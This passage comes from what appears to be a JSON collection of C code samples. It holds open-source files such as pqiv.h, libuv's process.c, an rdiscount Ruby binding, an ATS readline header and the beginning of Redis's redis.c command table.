outq(args...) portio_out64(args)\n\n#define inb(args...) portio_in8(args)\n#define inw(args...) portio_in16(args)\n#define inl(args...) portio_in32(args)\n#define inq(args...) portio_in64(args)\n\nvoid portio_out8(uint16_t port, uint8_t value);\nvoid portio_out16(uint16_t port, uint16_t value);\nvoid portio_out32(uint16_t port, uint32_t value);\nvoid portio_out64(uint16_t port, uint64_t value);\n\nuint8_t portio_in8(uint16_t port);\nuint16_t portio_in16(uint16_t port);\nuint32_t portio_in32(uint16_t port);\nuint64_t portio_in64(uint16_t port);\n"
  },
  {
    "path": "samples/C/pqiv.h",
    "content": "/**\n * pqiv\n *\n * Copyright (c) 2013-2014, Phillip Berndt\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\n// This file contains the definition of files, image types and\n// the plugin infrastructure. It should be included in file type\n// handlers.\n\n#ifndef _PQIV_H_INCLUDED\n#define _PQIV_H_INCLUDED\n\n#include <glib.h>\n#include <gtk/gtk.h>\n#include <gio/gio.h>\n#include \"lib/bostree.h\"\n\n#ifndef PQIV_VERSION\n#define PQIV_VERSION \"2.3\"\n#endif\n\n#define FILE_FLAGS_ANIMATION      (guint)(1)\n#define FILE_FLAGS_MEMORY_IMAGE   (guint)(1<<1)\n\n// The structure for images {{{\ntypedef struct file_type_handler_struct_t file_type_handler_t;\ntypedef struct {\n\t// File type\n\tconst file_type_handler_t *file_type;\n\n\t// Special flags\n\t// FILE_FLAGS_ANIMATION        -> Animation functions are invoked\n\t//                                Set by file type handlers\n\t// FILE_FLAGS_MEMORY_IMAGE     -> File lives in memory\n\tguint file_flags;\n\n\t// The file name to display and to sort by\n\tgchar *display_name;\n\n\t// The URI or file name of the file\n\tgchar *file_name;\n\n\t// If the file is a memory image, the actual image data\n\tGBytes *file_data;\n\n\t// The file monitor structure is used for inotify-watching of\n\t// the files\n\tGFileMonitor *file_monitor;\n\n\t// This flag stores whether this image is currently loaded\n\t// and valid. i.e. if it is set, you can assume that\n\t// private_data contains a representation of the image;\n\t// if not, you can NOT assume that it does not.\n\tgboolean is_loaded;\n\n\t// Cached image size\n\tguint width;\n\tguint height;\n\n\t// File-type specific data, allocated and freed by the file type handlers\n\tvoid *private;\n} file_t;\n// }}}\n// Definition of the built-in file types {{{\n\n// If you want to implement your own file type, you'll have to implement the\n// following functions and a non-static initialization function named\n// file_type_NAME_initializer that fills a file_type_handler_t with pointers to\n// the functions. Store the file in backends/NAME.c and adjust the Makefile to\n// add the required libraries if your backend is listed in the $(BACKENDS)\n// variable.\n\ntypedef enum { PARAMETER, RECURSION, INOTIFY, BROWSE_ORIGINAL_PARAMETER, FILTER_OUTPUT } load_images_state_t;\n// Allocation function: Allocate the ->private structure within a file and add the\n// image(s) to the list of available images via load_images_handle_parameter_add_file()\n// If an image is not to be loaded for any reason, the file structure should be\n// deallocated using file_free()\n// Returns a pointer to the first added image\n// Optional, you can also set the pointer to this function to NULL.\ntypedef BOSNode *(*file_type_alloc_fn_t)(load_images_state_t state, file_t *file);\n\n// Deallocation, if a file is removed from the images list. Free the ->private structure.\n// Only called if ->private is non-NULL.\ntypedef void (*file_type_free_fn_t)(file_t *file);\n\n// Actually load a file into memory\ntypedef void (*file_type_load_fn_t)(file_t *file, GInputStream *data, GError **error_pointer);\n\n// Unload a file\ntypedef void (*file_type_unload_fn_t)(file_t *file);\n\n// Animation support: Initialize memory for animations, return ms until first frame\n// Optional, you can also set the pointer to this function to NULL.\ntypedef double (*file_type_animation_initialize_fn_t)(file_t *file);\n\n// Animation support: Advance to the next frame, return ms until next frame\n// Optional, you can also set the pointer to this function to NULL.\ntypedef double (*file_type_animation_next_frame_fn_t)(file_t *file);\n\n// Draw the current view to a cairo context\ntypedef void (*file_type_draw_fn_t)(file_t *file, cairo_t *cr);\n\nstruct file_type_handler_struct_t {\n\t// All files will be filtered with this filter. If it lets it pass,\n\t// a handler is assigned to a file. If none do, the file is\n\t// discarded if it was found during directory traversal or\n\t// loaded using the first image backend if it was an explicit\n\t// parameter.\n\tGtkFileFilter *file_types_handled;\n\n\t// Pointers to the functions defined above\n\tfile_type_alloc_fn_t alloc_fn;\n\tfile_type_free_fn_t free_fn;\n\tfile_type_load_fn_t load_fn;\n\tfile_type_unload_fn_t unload_fn;\n\tfile_type_animation_initialize_fn_t animation_initialize_fn;\n\tfile_type_animation_next_frame_fn_t animation_next_frame_fn;\n\tfile_type_draw_fn_t draw_fn;\n};\n\n// Initialization function: Tell pqiv about a backend\ntypedef void (*file_type_initializer_fn_t)(file_type_handler_t *info);\n\n// pqiv symbols available to plugins {{{\n\n// Global cancellable that should be used for every i/o operation\nextern GCancellable *image_loader_cancellable;\n\n// Current scale level. For backends that don't support cairo natively.\nextern gdouble current_scale_level;\n\n// Load a file from disc/memory/network\nGInputStream *image_loader_stream_file(file_t *file, GError **error_pointer);\n\n// Add a file to the list of loaded files\n// Should be called at least once in a file_type_alloc_fn_t, with the state being\n// forwarded unaltered.\nBOSNode *load_images_handle_parameter_add_file(load_images_state_t state, file_t *file);\n\n// Load all data from an input stream into memory, conveinience function\nGBytes *g_input_stream_read_completely(GInputStream *input_stream, GCancellable *cancellable, GError **error_pointer);\n\n// Free a file\nvoid file_free(file_t *file);\n\n// }}}\n\n// File type handlers, used in the initializer and file type guessing\nextern file_type_handler_t file_type_handlers[];\n\n/* }}} */\n\n#endif\n"
  },
  {
    "path": "samples/C/process.c",
    "content": "/* Copyright Joyent, Inc. and other Node contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n */\n\n#include \"uv.h\"\n#include \"internal.h\"\n\n#include <assert.h>\n#include <errno.h>\n#include <sys/wait.h>\n#include <poll.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <fcntl.h>\n\n#ifdef __APPLE__\n# include <TargetConditionals.h>\n#endif\n\n#if defined(__APPLE__) && !TARGET_OS_IPHONE\n# include <crt_externs.h>\n# define environ (*_NSGetEnviron())\n#else\nextern char **environ;\n#endif\n\n\nstatic void uv__chld(EV_P_ ev_child* watcher, int revents) {\n  int status = watcher->rstatus;\n  int exit_status = 0;\n  int term_signal = 0;\n  uv_process_t *process = watcher->data;\n\n  assert(&process->child_watcher == watcher);\n  assert(revents & EV_CHILD);\n\n  ev_child_stop(EV_A_ &process->child_watcher);\n\n  if (WIFEXITED(status)) {\n    exit_status = WEXITSTATUS(status);\n  }\n\n  if (WIFSIGNALED(status)) {\n    term_signal = WTERMSIG(status);\n  }\n\n  if (process->exit_cb) {\n    process->exit_cb(process, exit_status, term_signal);\n  }\n}\n\n\nint uv__make_socketpair(int fds[2], int flags) {\n#ifdef SOCK_NONBLOCK\n  int fl;\n\n  fl = SOCK_CLOEXEC;\n\n  if (flags & UV__F_NONBLOCK)\n    fl |= SOCK_NONBLOCK;\n\n  if (socketpair(AF_UNIX, SOCK_STREAM|fl, 0, fds) == 0)\n    return 0;\n\n  if (errno != EINVAL)\n    return -1;\n\n  /* errno == EINVAL so maybe the kernel headers lied about\n   * the availability of SOCK_NONBLOCK. This can happen if people\n   * build libuv against newer kernel headers than the kernel\n   * they actually run the software on.\n   */\n#endif\n\n  if (socketpair(AF_UNIX, SOCK_STREAM, 0, fds))\n    return -1;\n\n  uv__cloexec(fds[0], 1);\n  uv__cloexec(fds[1], 1);\n\n  if (flags & UV__F_NONBLOCK) {\n    uv__nonblock(fds[0], 1);\n    uv__nonblock(fds[1], 1);\n  }\n\n  return 0;\n}\n\n\nint uv__make_pipe(int fds[2], int flags) {\n#if __linux__\n  int fl;\n\n  fl = UV__O_CLOEXEC;\n\n  if (flags & UV__F_NONBLOCK)\n    fl |= UV__O_NONBLOCK;\n\n  if (uv__pipe2(fds, fl) == 0)\n    return 0;\n\n  if (errno != ENOSYS)\n    return -1;\n#endif\n\n  if (pipe(fds))\n    return -1;\n\n  uv__cloexec(fds[0], 1);\n  uv__cloexec(fds[1], 1);\n\n  if (flags & UV__F_NONBLOCK) {\n    uv__nonblock(fds[0], 1);\n    uv__nonblock(fds[1], 1);\n  }\n\n  return 0;\n}\n\n\n/*\n * Used for initializing stdio streams like options.stdin_stream. Returns\n * zero on success.\n */\nstatic int uv__process_init_stdio(uv_stdio_container_t* container, int fds[2],\n                                  int writable) {\n  int fd = -1;\n  switch (container->flags & (UV_IGNORE | UV_CREATE_PIPE | UV_INHERIT_FD |\n                              UV_INHERIT_STREAM)) {\n    case UV_IGNORE:\n      return 0;\n    case UV_CREATE_PIPE:\n      assert(container->data.stream != NULL);\n\n      if (container->data.stream->type != UV_NAMED_PIPE) {\n        errno = EINVAL;\n        return -1;\n      }\n\n      return uv__make_socketpair(fds, 0);\n    case UV_INHERIT_FD:\n    case UV_INHERIT_STREAM:\n      if (container->flags & UV_INHERIT_FD) {\n        fd = container->data.fd;\n      } else {\n        fd = container->data.stream->fd;\n      }\n\n      if (fd == -1) {\n        errno = EINVAL;\n        return -1;\n      }\n\n      fds[writable ? 1 : 0] = fd;\n\n      return 0;\n    default:\n      assert(0 && \"Unexpected flags\");\n      return -1;\n  }\n}\n\n\nstatic int uv__process_stdio_flags(uv_stdio_container_t* container,\n                                   int writable) {\n  if (container->data.stream->type == UV_NAMED_PIPE &&\n      ((uv_pipe_t*)container->data.stream)->ipc) {\n    return UV_STREAM_READABLE | UV_STREAM_WRITABLE;\n  } else if (writable) {\n    return UV_STREAM_WRITABLE;\n  } else {\n    return UV_STREAM_READABLE;\n  }\n}\n\n\nstatic int uv__process_open_stream(uv_stdio_container_t* container, int fds[2],\n                                   int writable) {\n  int fd = fds[writable ? 1 : 0];\n  int child_fd = fds[writable ? 0 : 1];\n  int flags;\n\n  /* No need to create stream */\n  if (!(container->flags & UV_CREATE_PIPE) || fd < 0) {\n    return 0;\n  }\n\n  assert(child_fd >= 0);\n  close(child_fd);\n\n  uv__nonblock(fd, 1);\n  flags = uv__process_stdio_flags(container, writable);\n\n  return uv__stream_open((uv_stream_t*)container->data.stream, fd, flags);\n}\n\n\nstatic void uv__process_close_stream(uv_stdio_container_t* container) {\n  if (!(container->flags & UV_CREATE_PIPE)) return;\n\n  uv__stream_close((uv_stream_t*)container->data.stream);\n}\n\n\nstatic void uv__process_child_init(uv_process_options_t options,\n                                   int stdio_count,\n                                   int* pipes) {\n  int i;\n\n  if (options.flags & UV_PROCESS_DETACHED) {\n    setsid();\n  }\n\n  /* Dup fds */\n  for (i = 0; i < stdio_count; i++) {\n    /*\n     * stdin has swapped ends of pipe\n     * (it's the only one readable stream)\n     */\n    int close_fd = i == 0 ? pipes[i * 2 + 1] : pipes[i * 2];\n    int use_fd = i == 0 ? pipes[i * 2] : pipes[i * 2 + 1];\n\n    if (use_fd >= 0) {\n      close(close_fd);\n    } else if (i < 3) {\n      /* `/dev/null` stdin, stdout, stderr even if they've flag UV_IGNORE */\n      use_fd = open(\"/dev/null\", i == 0 ? O_RDONLY : O_RDWR);\n\n      if (use_fd < 0) {\n        perror(\"failed to open stdio\");\n        _exit(127);\n      }\n    } else {\n      continue;\n    }\n\n    if (i != use_fd) {\n      dup2(use_fd, i);\n      close(use_fd);\n    }\n  }\n\n  if (options.cwd && chdir(options.cwd)) {\n    perror(\"chdir()\");\n    _exit(127);\n  }\n\n  if ((options.flags & UV_PROCESS_SETGID) && setgid(options.gid)) {\n    perror(\"setgid()\");\n    _exit(127);\n  }\n\n  if ((options.flags & UV_PROCESS_SETUID) && setuid(options.uid)) {\n    perror(\"setuid()\");\n    _exit(127);\n  }\n\n  environ = options.env;\n\n  execvp(options.file, options.args);\n  perror(\"execvp()\");\n  _exit(127);\n}\n\n\n#ifndef SPAWN_WAIT_EXEC\n# define SPAWN_WAIT_EXEC 1\n#endif\n\nint uv_spawn(uv_loop_t* loop, uv_process_t* process,\n    uv_process_options_t options) {\n  /*\n   * Save environ in the case that we get it clobbered\n   * by the child process.\n   */\n  char** save_our_env = environ;\n\n  int stdio_count = options.stdio_count < 3 ? 3 : options.stdio_count;\n  int* pipes = malloc(2 * stdio_count * sizeof(int));\n\n#if SPAWN_WAIT_EXEC\n  int signal_pipe[2] = { -1, -1 };\n  struct pollfd pfd;\n#endif\n  int status;\n  pid_t pid;\n  int i;\n\n  if (pipes == NULL) {\n    errno = ENOMEM;\n    goto error;\n  }\n\n  assert(options.file != NULL);\n  assert(!(options.flags & ~(UV_PROCESS_WINDOWS_VERBATIM_ARGUMENTS |\n                             UV_PROCESS_DETACHED |\n                             UV_PROCESS_SETGID |\n                             UV_PROCESS_SETUID)));\n\n\n  uv__handle_init(loop, (uv_handle_t*)process, UV_PROCESS);\n  loop->counters.process_init++;\n  uv__handle_start(process);\n\n  process->exit_cb = options.exit_cb;\n\n  /* Init pipe pairs */\n  for (i = 0; i < stdio_count; i++) {\n    pipes[i * 2] = -1;\n    pipes[i * 2 + 1] = -1;\n  }\n\n  /* Create socketpairs/pipes, or use raw fd */\n  for (i = 0; i < options.stdio_count; i++) {\n    if (uv__process_init_stdio(&options.stdio[i], pipes + i * 2, i != 0)) {\n      goto error;\n    }\n  }\n\n  /* This pipe is used by the parent to wait until\n   * the child has called `execve()`. We need this\n   * to avoid the following race condition:\n   *\n   *    if ((pid = fork()) > 0) {\n   *      kill(pid, SIGTERM);\n   *    }\n   *    else if (pid == 0) {\n   *      execve(\"/bin/cat\", argp, envp);\n   *    }\n   *\n   * The parent sends a signal immediately after forking.\n   * Since the child may not have called `execve()` yet,\n   * there is no telling what process receives the signal,\n   * our fork or /bin/cat.\n   *\n   * To avoid ambiguity, we create a pipe with both ends\n   * marked close-on-exec. Then, after the call to `fork()`,\n   * the parent polls the read end until it sees POLLHUP.\n   */\n#if SPAWN_WAIT_EXEC\n  if (uv__make_pipe(signal_pipe, UV__F_NONBLOCK))\n    goto error;\n#endif\n\n  pid = fork();\n\n  if (pid == -1) {\n#if SPAWN_WAIT_EXEC\n    close(signal_pipe[0]);\n    close(signal_pipe[1]);\n#endif\n    environ = save_our_env;\n    goto error;\n  }\n\n  if (pid == 0) {\n    /* Child */\n    uv__process_child_init(options, stdio_count, pipes);\n\n    /* Execution never reaches here. */\n  }\n\n  /* Parent. */\n\n  /* Restore environment. */\n  environ = save_our_env;\n\n#if SPAWN_WAIT_EXEC\n  /* POLLHUP signals child has exited or execve()'d. */\n  close(signal_pipe[1]);\n  do {\n    pfd.fd = signal_pipe[0];\n    pfd.events = POLLIN|POLLHUP;\n    pfd.revents = 0;\n    errno = 0, status = poll(&pfd, 1, -1);\n  }\n  while (status == -1 && (errno == EINTR || errno == ENOMEM));\n\n  assert((status == 1) && \"poll() on pipe read end failed\");\n  close(signal_pipe[0]);\n#endif\n\n  process->pid = pid;\n\n  ev_child_init(&process->child_watcher, uv__chld, pid, 0);\n  ev_child_start(process->loop->ev, &process->child_watcher);\n  process->child_watcher.data = process;\n\n  for (i = 0; i < options.stdio_count; i++) {\n    if (uv__process_open_stream(&options.stdio[i], pipes + i * 2, i == 0)) {\n      int j;\n      /* Close all opened streams */\n      for (j = 0; j < i; j++) {\n        uv__process_close_stream(&options.stdio[j]);\n      }\n\n      goto error;\n    }\n  }\n\n  free(pipes);\n\n  return 0;\n\nerror:\n  uv__set_sys_error(process->loop, errno);\n\n  for (i = 0; i < stdio_count; i++) {\n    close(pipes[i * 2]);\n    close(pipes[i * 2 + 1]);\n  }\n\n  free(pipes);\n\n  return -1;\n}\n\n\nint uv_process_kill(uv_process_t* process, int signum) {\n  int r = kill(process->pid, signum);\n\n  if (r) {\n    uv__set_sys_error(process->loop, errno);\n    return -1;\n  } else {\n    return 0;\n  }\n}\n\n\nuv_err_t uv_kill(int pid, int signum) {\n  int r = kill(pid, signum);\n\n  if (r) {\n    return uv__new_sys_error(errno);\n  } else {\n    return uv_ok_;\n  }\n}\n\n\nvoid uv__process_close(uv_process_t* handle) {\n  ev_child_stop(handle->loop->ev, &handle->child_watcher);\n  uv__handle_stop(handle);\n}\n"
  },
  {
    "path": "samples/C/rdiscount.c",
    "content": "#include <stdio.h>\n#include \"ruby.h\"\n#include \"mkdio.h\"\n\nstatic VALUE rb_cRDiscount;\n\nstatic VALUE\nrb_rdiscount_to_html(int argc, VALUE *argv, VALUE self)\n{\n    /* grab char pointer to markdown input text */\n    char *res;\n    int szres;\n    VALUE encoding;\n    VALUE text = rb_funcall(self, rb_intern(\"text\"), 0);\n    VALUE buf = rb_str_buf_new(1024);\n    Check_Type(text, T_STRING);\n\n    int flags = rb_rdiscount__get_flags(self);\n\n    MMIOT *doc = mkd_string(RSTRING_PTR(text), RSTRING_LEN(text), flags);\n\n    if ( mkd_compile(doc, flags) ) {\n        szres = mkd_document(doc, &res);\n\n        if ( szres != EOF ) {\n            rb_str_cat(buf, res, szres);\n            rb_str_cat(buf, \"\\n\", 1);\n        }\n    }\n    mkd_cleanup(doc);\n\n\n    /* force the input encoding */\n    if ( rb_respond_to(text, rb_intern(\"encoding\")) ) {\n      encoding = rb_funcall(text, rb_intern(\"encoding\"), 0);\n      rb_funcall(buf, rb_intern(\"force_encoding\"), 1, encoding);\n    }\n\n    return buf;\n}\n\nstatic VALUE\nrb_rdiscount_toc_content(int argc, VALUE *argv, VALUE self)\n{\n    char *res;\n    int szres;\n\n    int flags = rb_rdiscount__get_flags(self);\n\n    /* grab char pointer to markdown input text */\n    VALUE text = rb_funcall(self, rb_intern(\"text\"), 0);\n    Check_Type(text, T_STRING);\n\n    /* allocate a ruby string buffer and wrap it in a stream */\n    VALUE buf = rb_str_buf_new(4096);\n\n    MMIOT *doc = mkd_string(RSTRING_PTR(text), RSTRING_LEN(text), flags);\n\n    if ( mkd_compile(doc, flags) ) {\n        szres = mkd_toc(doc, &res);\n\n        if ( szres != EOF ) {\n            rb_str_cat(buf, res, szres);\n            rb_str_cat(buf, \"\\n\", 1);\n        }\n    }\n    mkd_cleanup(doc);\n\n    return buf;\n}\n\nint rb_rdiscount__get_flags(VALUE ruby_obj)\n{\n  /* compile flags */\n  int flags = MKD_TABSTOP | MKD_NOHEADER;\n\n  /* smart */\n  if ( rb_funcall(ruby_obj, rb_intern(\"smart\"), 0) != Qtrue )\n      flags = flags | MKD_NOPANTS;\n\n  /* filter_html */\n  if ( rb_funcall(ruby_obj, rb_intern(\"filter_html\"), 0) == Qtrue )\n      flags = flags | MKD_NOHTML;\n\n  /* generate_toc */\n  if ( rb_funcall(ruby_obj, rb_intern(\"generate_toc\"), 0) == Qtrue)\n    flags = flags | MKD_TOC;\n\n  /* no_image */\n  if ( rb_funcall(ruby_obj, rb_intern(\"no_image\"), 0) == Qtrue)\n    flags = flags | MKD_NOIMAGE;\n\n  /* no_links */\n  if ( rb_funcall(ruby_obj, rb_intern(\"no_links\"), 0) == Qtrue)\n    flags = flags | MKD_NOLINKS;\n\n  /* no_tables */\n  if ( rb_funcall(ruby_obj, rb_intern(\"no_tables\"), 0) == Qtrue)\n    flags = flags | MKD_NOTABLES;\n\n  /* strict */\n  if ( rb_funcall(ruby_obj, rb_intern(\"strict\"), 0) == Qtrue)\n    flags = flags | MKD_STRICT;\n\n  /* autolink */\n  if ( rb_funcall(ruby_obj, rb_intern(\"autolink\"), 0) == Qtrue)\n    flags = flags | MKD_AUTOLINK;\n\n  /* safelink */\n  if ( rb_funcall(ruby_obj, rb_intern(\"safelink\"), 0) == Qtrue)\n    flags = flags | MKD_SAFELINK;\n\n  /* no_pseudo_protocols */\n  if ( rb_funcall(ruby_obj, rb_intern(\"no_pseudo_protocols\"), 0) == Qtrue)\n    flags = flags | MKD_NO_EXT;\n\n\n  return flags;\n}\n\n\nvoid Init_rdiscount()\n{\n    rb_cRDiscount = rb_define_class(\"RDiscount\", rb_cObject);\n    rb_define_method(rb_cRDiscount, \"to_html\", rb_rdiscount_to_html, -1);\n    rb_define_method(rb_cRDiscount, \"toc_content\", rb_rdiscount_toc_content, -1);\n}\n\n/* vim: set ts=4 sw=4: */\n"
  },
  {
    "path": "samples/C/readline.cats",
    "content": "/*\n** API in ATS for GNU-readline\n*/\n\n/* ****** ****** */\n\n/*\n** Permission to use, copy, modify, and distribute this software for any\n** purpose with or without fee is hereby granted, provided that the above\n** copyright notice and this permission notice appear in all copies.\n** \n** THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n** WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n** MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n** ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n** WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n** ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n** OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*/\n\n/* ****** ****** */\n\n#ifndef READLINE_READLINE_CATS\n#define READLINE_READLINE_CATS\n\n/* ****** ****** */\n\n#include <readline/readline.h>\n\n/* ****** ****** */\n//\n#define \\\natscntrb_readline_rl_library_version() ((char*)rl_library_version)\n//\n#define atscntrb_readline_rl_readline_version() (rl_readline_version)\n//\n/* ****** ****** */\n\n#define atscntrb_readline_readline readline\n\n/* ****** ****** */\n\n#endif // ifndef READLINE_READLINE_CATS\n\n/* ****** ****** */\n\n/* end of [readline.cats] */\n"
  },
  {
    "path": "samples/C/redis.c",
    "content": "/*\n * Copyright (c) 2009-2010, Salvatore Sanfilippo <antirez at gmail dot com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *   * Redistributions of source code must retain the above copyright notice,\n *     this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and/or other materials provided with the distribution.\n *   * Neither the name of Redis nor the names of its contributors may be used\n *     to endorse or promote products derived from this software without\n *     specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"redis.h\"\n#include \"slowlog.h\"\n#include \"bio.h\"\n\n#include <time.h>\n#include <signal.h>\n#include <sys/wait.h>\n#include <errno.h>\n#include <assert.h>\n#include <ctype.h>\n#include <stdarg.h>\n#include <arpa/inet.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <sys/time.h>\n#include <sys/resource.h>\n#include <sys/uio.h>\n#include <limits.h>\n#include <float.h>\n#include <math.h>\n#include <sys/resource.h>\n#include <sys/utsname.h>\n\n/* Our shared \"common\" objects */\n\nstruct sharedObjectsStruct shared;\n\n/* Global vars that are actually used as constants. The following double\n * values are used for double on-disk serialization, and are initialized\n * at runtime to avoid strange compiler optimizations. */\n\ndouble R_Zero, R_PosInf, R_NegInf, R_Nan;\n\n/*================================= Globals ================================= */\n\n/* Global vars */\nstruct redisServer server; /* server global state */\nstruct redisCommand *commandTable;\n\n/* Our command table.\n *\n * Every entry is composed of the following fields:\n *\n * name: a string representing the command name.\n * function: pointer to the C function implementing the command.\n * arity: number of arguments, it is possible to use -N to say >= N\n * sflags: command flags as string. See below for a table of flags.\n * flags: flags as bitmask. Computed by Redis using the 'sflags' field.\n * get_keys_proc: an optional function to get key arguments from a command.\n *                This is only used when the following three fields are not\n *                enough to specify what arguments are keys.\n * first_key_index: first argument that is a key\n * last_key_index: last argument that is a key\n * key_step: step to get all the keys from first to last argument. For instance\n *           in MSET the step is two since arguments are key,val,key,val,...\n * microseconds: microseconds of total execution time for this command.\n * calls: total number of calls of this command.\n *\n * The flags, microseconds and calls fields are computed by Redis and should\n * always be set to zero.\n *\n * Command flags are expressed using strings where every character represents\n * a flag. Later the populateCommandTable() function will take care of\n * populating the real 'flags' field using this characters.\n *\n * This is the meaning of the flags:\n *\n * w: write command (may modify the key space).\n * r: read command  (will never modify the key space).\n * m: may increase memory usage once called. Don't allow if out of memory.\n * a: admin command, like SAVE or SHUTDOWN.\n * p: Pub/Sub related command.\n * f: force replication of this command, regarless of server.dirty.\n * s: command not allowed in scripts.\n * R: random command. Command is not deterministic, that is, the same command\n *    with the same arguments, with the same key space, may have different\n *    results. For instance SPOP and RANDOMKEY are two random commands.\n * S: Sort command output array if called from script, so that the output\n *    is deterministic.\n */\nstruct redisCommand redisCommandTable[] = {\n    {\"get\",getCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"set\",setCommand,3,\"wm\",0,noPreloadGetKeys,1,1,1,0,0},\n    {\"setnx\",setnxCommand,3,\"wm\",0,noPreloadGetKeys,1,1,1,0,0},\n    {\"setex\",setexCommand,4,\"wm\",0,noPreloadGetKeys,1,1,1,0,0},\n    {\"psetex\",psetexCommand,4,\"wm\",0,noPreloadGetKeys,1,1,1,0,0},\n    {\"append\",appendCommand,3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"strlen\",strlenCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"del\",delCommand,-2,\"w\",0,noPreloadGetKeys,1,-1,1,0,0},\n    {\"exists\",existsCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"setbit\",setbitCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"getbit\",getbitCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"setrange\",setrangeCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"getrange\",getrangeCommand,4,\"r\",0,NULL,1,1,1,0,0},\n    {\"substr\",getrangeCommand,4,\"r\",0,NULL,1,1,1,0,0},\n    {\"incr\",incrCommand,2,\"wm\",0,NULL,1,1,1,0,0},\n    {\"decr\",decrCommand,2,\"wm\",0,NULL,1,1,1,0,0},\n    {\"mget\",mgetCommand,-2,\"r\",0,NULL,1,-1,1,0,0},\n    {\"rpush\",rpushCommand,-3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"lpush\",lpushCommand,-3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"rpushx\",rpushxCommand,3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"lpushx\",lpushxCommand,3,\"wm\",0,NULL,1,1,1,0,0},\n    {\"linsert\",linsertCommand,5,\"wm\",0,NULL,1,1,1,0,0},\n    {\"rpop\",rpopCommand,2,\"w\",0,NULL,1,1,1,0,0},\n    {\"lpop\",lpopCommand,2,\"w\",0,NULL,1,1,1,0,0},\n    {\"brpop\",brpopCommand,-3,\"ws\",0,NULL,1,1,1,0,0},\n    {\"brpoplpush\",brpoplpushCommand,4,\"wms\",0,NULL,1,2,1,0,0},\n    {\"blpop\",blpopCommand,-3,\"ws\",0,NULL,1,-2,1,0,0},\n    {\"llen\",llenCommand,2,\"r\",0,NULL,1,1,1,0,0},\n    {\"lindex\",lindexCommand,3,\"r\",0,NULL,1,1,1,0,0},\n    {\"lset\",lsetCommand,4,\"wm\",0,NULL,1,1,1,0,0},\n    {\"lrange\",lrangeCommand,4,\"r\",0,NULL,1,1,1,0,0},\n    {\"ltrim\",ltrimCommand,4,\"w\",0,NULL,1,1,1,0,0},\n    {\"lrem\",lremCommand,4,\"w\",0,NULL,1,1,1,0,0},\n    {\"rpoplpush\",rpoplpushCommand,3,\"wm\",0,NULL,1,2,1,0,0},\n    {\"sadd\",saddCommand,-3,\"wm\",0,NULL,1,1,1,0,0},\n    